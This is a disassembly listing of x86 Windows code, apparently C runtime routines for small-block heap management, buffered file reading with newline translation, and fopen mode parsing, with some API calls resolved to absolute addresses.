; =============== S U B	R O U T	I N E =======================================



sub_41EAD6	proc near		; CODE XREF: sub_41E7CD+CCp
		mov	eax, dword_4DAD98
		mov	ecx, dword_4DAD88
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41EB19
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DAD9C
		push	edi
		push	dword_4DADA0
		call	near ptr 2860000h
		nop
		cmp	eax, edi
		jz	short loc_41EB69
		add	dword_4DAD88, 10h
		mov	dword_4DAD9C, eax
		mov	eax, dword_4DAD98


loc_41EB19:				; CODE XREF: sub_41EAD6+11j
		mov	ecx, dword_4DAD9C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DADA0
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 27D0000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41EB69
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 2660391h
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41EB6D
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DADA0
		nop
		call	near ptr 27C0000h


loc_41EB69:				; CODE XREF: sub_41EAD6+30j
					; sub_41EAD6+67j
		xor	eax, eax
		jmp	short loc_41EB84
; ---------------------------------------------------------------------------


loc_41EB6D:				; CODE XREF: sub_41EAD6+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DAD98
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41EB84:				; CODE XREF: sub_41EAD6+95j
		pop	edi
		pop	esi
		retn
sub_41EAD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB87	proc near		; CODE XREF: sub_41E7CD+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41EB99:				; CODE XREF: sub_41EB87+19j
		test	eax, eax
		jl	short loc_41EBA2
		shl	eax, 1
		inc	ebx
		jmp	short loc_41EB99
; ---------------------------------------------------------------------------


loc_41EBA2:				; CODE XREF: sub_41EB87+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41EBB7:				; CODE XREF: sub_41EB87+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41EBB7
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	near ptr 2660391h
		nop
		test	eax, eax
		jnz	short loc_41EBEA
		or	eax, 0FFFFFFFFh
		jmp	loc_41EC7D
; ---------------------------------------------------------------------------


loc_41EBEA:				; CODE XREF: sub_41EB87+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41EC30
		lea	eax, [edi+10h]


loc_41EBF7:				; CODE XREF: sub_41EB87+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41EBF7


loc_41EC30:				; CODE XREF: sub_41EB87+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41EC6D
		or	[eax+4], edi


loc_41EC6D:				; CODE XREF: sub_41EB87+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41EC7D:				; CODE XREF: sub_41EB87+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC82	proc near		; CODE XREF: sub_41BB48+58p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41EE30
		test	bl, 1
		jnz	loc_41EE29
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41EE29
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41ECF9
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41ECF9:				; CODE XREF: sub_41EC82+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41ED49
		cmp	ecx, 20h
		jnb	short loc_41ED25
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41ED49
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41ED49
; ---------------------------------------------------------------------------


loc_41ED25:				; CODE XREF: sub_41EC82+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41ED49
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41ED49:				; CODE XREF: sub_41EC82+7Dj
					; sub_41EC82+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41EE17
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41ED83
		push	3Fh
		pop	edi


loc_41ED83:				; CODE XREF: sub_41EC82+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41EE05
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41EDDC
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41EDCF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41EDCF:				; CODE XREF: sub_41EC82+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41EE01
; ---------------------------------------------------------------------------


loc_41EDDC:				; CODE XREF: sub_41EC82+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41EDF2
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41EDF2:				; CODE XREF: sub_41EC82+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41EE01:				; CODE XREF: sub_41EC82+158j
		shr	edx, cl
		or	[eax], edx


loc_41EE05:				; CODE XREF: sub_41EC82+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41EE1A
; ---------------------------------------------------------------------------


loc_41EE17:				; CODE XREF: sub_41EC82+E5j
		mov	edx, [ebp+arg_4]


loc_41EE1A:				; CODE XREF: sub_41EC82+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41EF70
; ---------------------------------------------------------------------------


loc_41EE29:				; CODE XREF: sub_41EC82+52j
					; sub_41EC82+5Cj
		xor	eax, eax
		jmp	loc_41EF73
; ---------------------------------------------------------------------------


loc_41EE30:				; CODE XREF: sub_41EC82+49j
		jge	loc_41EF70
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41EE5B
		push	3Fh
		pop	esi


loc_41EE5B:				; CODE XREF: sub_41EC82+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41EEEA
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41EE74
		push	3Fh
		pop	esi


loc_41EE74:				; CODE XREF: sub_41EC82+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41EEC3
		cmp	esi, 20h
		jnb	short loc_41EE9F
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41EEC0
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41EEC0
; ---------------------------------------------------------------------------


loc_41EE9F:				; CODE XREF: sub_41EC82+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EEC0
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41EEC0:				; CODE XREF: sub_41EC82+214j
					; sub_41EC82+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41EEC3:				; CODE XREF: sub_41EC82+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41EEEA
		push	3Fh
		pop	esi


loc_41EEEA:				; CODE XREF: sub_41EC82+1DDj
					; sub_41EC82+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41EF67
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41EF3E
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41EF31
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41EF31:				; CODE XREF: sub_41EC82+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41EF63
; ---------------------------------------------------------------------------


loc_41EF3E:				; CODE XREF: sub_41EC82+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41EF54
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41EF54:				; CODE XREF: sub_41EC82+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41EF63:				; CODE XREF: sub_41EC82+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41EF67:				; CODE XREF: sub_41EC82+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41EF70:				; CODE XREF: sub_41EC82+1A2j
					; sub_41EC82:loc_41EE30j
		push	1
		pop	eax


loc_41EF73:				; CODE XREF: sub_41EC82+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC82	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EF78	proc near		; CODE XREF: sub_41BA60+A9p
					; sub_41C2CF+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F04C
		test	al, 40h
		jnz	loc_41F04C
		test	al, 2
		jz	short loc_41EF9E
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F04C
; ---------------------------------------------------------------------------


loc_41EF9E:				; CODE XREF: sub_41EF78+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41EFB2
		push	esi
		call	sub_4238F7
		pop	ecx
		jmp	short loc_41EFB7
; ---------------------------------------------------------------------------


loc_41EFB2:				; CODE XREF: sub_41EF78+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41EFB7:				; CODE XREF: sub_41EF78+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F051
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F03B
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F03B
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F010
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41EFF9
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DAA60[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41EFFE
; ---------------------------------------------------------------------------


loc_41EFF9:				; CODE XREF: sub_41EF78+6Bj
		mov	edi, offset dword_43ACE0


loc_41EFFE:				; CODE XREF: sub_41EF78+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F010
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F010:				; CODE XREF: sub_41EF78+62j
					; sub_41EF78+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F02D
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F02D
		test	ch, 4
		jnz	short loc_41F02D
		mov	dword ptr [esi+18h], 1000h


loc_41F02D:				; CODE XREF: sub_41EF78+9Fj
					; sub_41EF78+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F03B:				; CODE XREF: sub_41EF78+55j
					; sub_41EF78+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F04C:				; CODE XREF: sub_41EF78+Aj
					; sub_41EF78+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41EF78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F051	proc near		; CODE XREF: sub_41BA60+90p
					; sub_41EF78+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DAB60
		jnb	loc_41F22E
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DAA60h[eax*4]
		mov	eax, dword_4DAA60[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F22E
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F106
		test	dl, 2
		jnz	short loc_41F106
		test	dl, 48h
		jz	short loc_41F0C6
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F0C6
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41F0C6:				; CODE XREF: sub_41F051+56j
					; sub_41F051+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26F1192h
		test	eax, eax
		jnz	short loc_41F119
		nop
		call	near ptr 26807F9h
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F101
		mov	dword_4D9714, 9
		mov	dword_4D9718, ecx
		jmp	loc_41F23F
; ---------------------------------------------------------------------------


loc_41F101:				; CODE XREF: sub_41F051+99j
		cmp	eax, 6Dh
		jnz	short loc_41F10D


loc_41F106:				; CODE XREF: sub_41F051+4Cj
					; sub_41F051+51j
		xor	eax, eax
		jmp	loc_41F242
; ---------------------------------------------------------------------------


loc_41F10D:				; CODE XREF: sub_41F051+B3j
		push	eax
		call	sub_420314
		pop	ecx
		jmp	loc_41F23F
; ---------------------------------------------------------------------------


loc_41F119:				; CODE XREF: sub_41F051+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F229
		test	edx, edx
		jz	short loc_41F13E
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F13E
		or	al, 4
		jmp	short loc_41F140
; ---------------------------------------------------------------------------


loc_41F13E:				; CODE XREF: sub_41F051+E2j
					; sub_41F051+E7j
		and	al, 0FBh


loc_41F140:				; CODE XREF: sub_41F051+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F223


loc_41F158:				; CODE XREF: sub_41F051+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F213
		cmp	al, 0Dh
		jz	short loc_41F174
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F205
; ---------------------------------------------------------------------------


loc_41F174:				; CODE XREF: sub_41F051+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F192
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F189
		add	[ebp+arg_8], 2
		jmp	short loc_41F1E7
; ---------------------------------------------------------------------------


loc_41F189:				; CODE XREF: sub_41F051+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F205
; ---------------------------------------------------------------------------


loc_41F192:				; CODE XREF: sub_41F051+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26F1192h
		test	eax, eax
		jnz	short loc_41F1BA
		call	near ptr 26807F9h
		nop
		test	eax, eax
		jnz	short loc_41F201


loc_41F1BA:				; CODE XREF: sub_41F051+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F201
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F1DC
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F1E7
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F205
; ---------------------------------------------------------------------------


loc_41F1DC:				; CODE XREF: sub_41F051+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F1EC
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F1EC


loc_41F1E7:				; CODE XREF: sub_41F051+136j
					; sub_41F051+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F204
; ---------------------------------------------------------------------------


loc_41F1EC:				; CODE XREF: sub_41F051+18Ej
					; sub_41F051+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_422633
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F205


loc_41F201:				; CODE XREF: sub_41F051+167j
					; sub_41F051+16Dj
		mov	byte ptr [edi],	0Dh


loc_41F204:				; CODE XREF: sub_41F051+199j
		inc	edi


loc_41F205:				; CODE XREF: sub_41F051+11Ej
					; sub_41F051+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F158
		jmp	short loc_41F223
; ---------------------------------------------------------------------------


loc_41F213:				; CODE XREF: sub_41F051+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F223
		or	al, 2
		mov	[esi], al


loc_41F223:				; CODE XREF: sub_41F051+101j
					; sub_41F051+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41F229:				; CODE XREF: sub_41F051+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F242
; ---------------------------------------------------------------------------


loc_41F22E:				; CODE XREF: sub_41F051+12j
					; sub_41F051+39j
		and	dword_4D9718, 0
		mov	dword_4D9714, 9


loc_41F23F:				; CODE XREF: sub_41F051+ABj
					; sub_41F051+C3j
		or	eax, 0FFFFFFFFh


loc_41F242:				; CODE XREF: sub_41F051+B7j
					; sub_41F051+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F051	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F247	proc near		; CODE XREF: sub_41BB48+106p
					; sub_41BCAD+1Fp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4D9794
		test	eax, eax
		jz	short loc_41F25F
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F25F
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41F25F:				; CODE XREF: sub_41F247+7j
					; sub_41F247+12j
		xor	eax, eax
		retn
sub_41F247	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F262	proc near		; CODE XREF: sub_41BC68+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4D9900
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F29B
		cmp	al, 72h
		jz	short loc_41F294
		cmp	al, 77h
		jnz	loc_41F3AF
		mov	ecx, 301h
		jmp	short loc_41F2A0
; ---------------------------------------------------------------------------


loc_41F294:				; CODE XREF: sub_41F262+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F2A3
; ---------------------------------------------------------------------------


loc_41F29B:				; CODE XREF: sub_41F262+1Dj
		mov	ecx, 109h


loc_41F2A0:				; CODE XREF: sub_41F262+30j
		or	esi, 2


loc_41F2A3:				; CODE XREF: sub_41F262+37j
		push	1
		pop	edx


loc_41F2A6:				; CODE XREF: sub_41F262+8Bj
					; sub_41F262+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F395
		cmp	edx, ebx
		jz	loc_41F395
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F334
		jz	short loc_41F324
		sub	eax, 2Bh
		jz	short loc_41F30E
		sub	eax, 19h
		jz	short loc_41F304
		sub	eax, 0Eh
		jz	short loc_41F2EF
		dec	eax
		jnz	loc_41F386
		cmp	[ebp+var_4], ebx
		jnz	loc_41F386
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F2A6
; ---------------------------------------------------------------------------


loc_41F2EF:				; CODE XREF: sub_41F262+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F386
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F2A6
; ---------------------------------------------------------------------------


loc_41F304:				; CODE XREF: sub_41F262+6Aj
		test	cl, 40h
		jnz	short loc_41F386
		or	ecx, 40h
		jmp	short loc_41F2A6
; ---------------------------------------------------------------------------


loc_41F30E:				; CODE XREF: sub_41F262+65j
		test	cl, 2
		jnz	short loc_41F386
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F2A6
; ---------------------------------------------------------------------------


loc_41F324:				; CODE XREF: sub_41F262+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F386
		or	ecx, eax
		jmp	loc_41F2A6
; ---------------------------------------------------------------------------


loc_41F334:				; CODE XREF: sub_41F262+5Ej
		sub	eax, 62h
		jz	short loc_41F381
		dec	eax
		jz	short loc_41F36A
		sub	eax, 0Bh
		jz	short loc_41F353
		sub	eax, 6
		jnz	short loc_41F386
		test	ch, 0C0h
		jnz	short loc_41F386
		or	ch, 40h
		jmp	loc_41F2A6
; ---------------------------------------------------------------------------


loc_41F353:				; CODE XREF: sub_41F262+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F386
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F2A6
; ---------------------------------------------------------------------------


loc_41F36A:				; CODE XREF: sub_41F262+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F386
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F2A6
; ---------------------------------------------------------------------------


loc_41F381:				; CODE XREF: sub_41F262+D5j
		test	ch, 0C0h
		jz	short loc_41F38D


loc_41F386:				; CODE XREF: sub_41F262+72j
					; sub_41F262+7Bj ...
		xor	edx, edx
		jmp	loc_41F2A6
; ---------------------------------------------------------------------------


loc_41F38D:				; CODE XREF: sub_41F262+122j
		or	ch, 80h
		jmp	loc_41F2A6
; ---------------------------------------------------------------------------


loc_41F395:				; CODE XREF: sub_41F262+4Aj
					; sub_41F262+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_42393B
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F3B3


loc_41F3AF:				; CODE XREF: sub_41F262+25j
		xor	eax, eax
		jmp	short loc_41F3CD
; ---------------------------------------------------------------------------


loc_41F3B3:				; CODE XREF: sub_41F262+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4D98FC
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41F3CD:				; CODE XREF: sub_41F262+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F262	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F3D2	proc near		; CODE XREF: sub_41BC68p
		mov	edx, dword_4DAA40
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F443
		mov	ebx, dword_4D9A30
		mov	edi, ebx


loc_41F3EE:				; CODE XREF: sub_41F3D2+2Ej
		mov	ecx, [edi]
